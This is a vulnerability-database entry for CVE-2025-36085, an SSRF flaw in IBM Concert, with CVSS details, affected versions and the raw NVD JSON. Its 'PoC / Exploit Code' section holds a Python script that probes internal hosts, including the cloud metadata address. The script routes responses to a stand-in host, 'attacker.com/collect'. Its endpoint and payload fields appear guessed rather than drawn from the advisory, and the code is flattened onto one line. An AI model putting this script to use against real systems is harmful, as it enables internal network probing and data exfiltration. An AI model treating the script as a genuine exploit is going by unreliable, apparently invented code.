Security Vulnerability Report
中文
CVE-2025-36085 CVSS 5.4 MEDIUM

CVE-2025-36085

Published: 2025-10-28 15:16:13
Last Modified: 2025-10-31 18:55:52

Description

IBM Concert 1.0.0 through 2.0.0 Software is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Concert 1.0.0
IBM Concert 1.1.0
IBM Concert 1.2.0
IBM Concert 1.3.0
IBM Concert 1.4.0
IBM Concert 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-36085 SSRF PoC for IBM Concert # This PoC demonstrates how an authenticated attacker can exploit SSRF TARGET_URL = "https://target.ibm.com/api/concert/execute" ATTACKER_SERVER = "http://attacker.com/collect" def exploit_ssrf(session_token, target_host): """ Exploit SSRF vulnerability in IBM Concert Args: session_token: Valid authentication token target_host: Internal host to target """ headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } # Payload to exploit SSRF - target internal metadata service payload = { "action": "fetch", "resource_url": f"http://{target_host}/", "callback_url": ATTACKER_SERVER } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"[*] Request sent to {target_host}") print(f"[*] Response status: {response.status_code}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def scan_internal_network(session_token): """Scan internal network via SSRF""" common_internal_ips = [ "169.254.169.254", # Cloud metadata "127.0.0.1", # Localhost "10.0.0.1", # Internal gateway ] for ip in common_internal_ips: print(f"[*] Testing {ip}...") result = exploit_ssrf(session_token, ip) if result: print(f"[+] Response from {ip}: {result}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-36085.py <token> <target>") sys.exit(1) token = sys.argv[1] target = sys.argv[2] exploit_ssrf(token, target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36085", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:12.577", "lastModified": "2025-10-31T18:55:51.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.0.0 Software is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.1.0", "matchCriteriaId": "43072AC2-05A5-41A3-9E79-E0AF2C5AD3FF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249356", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}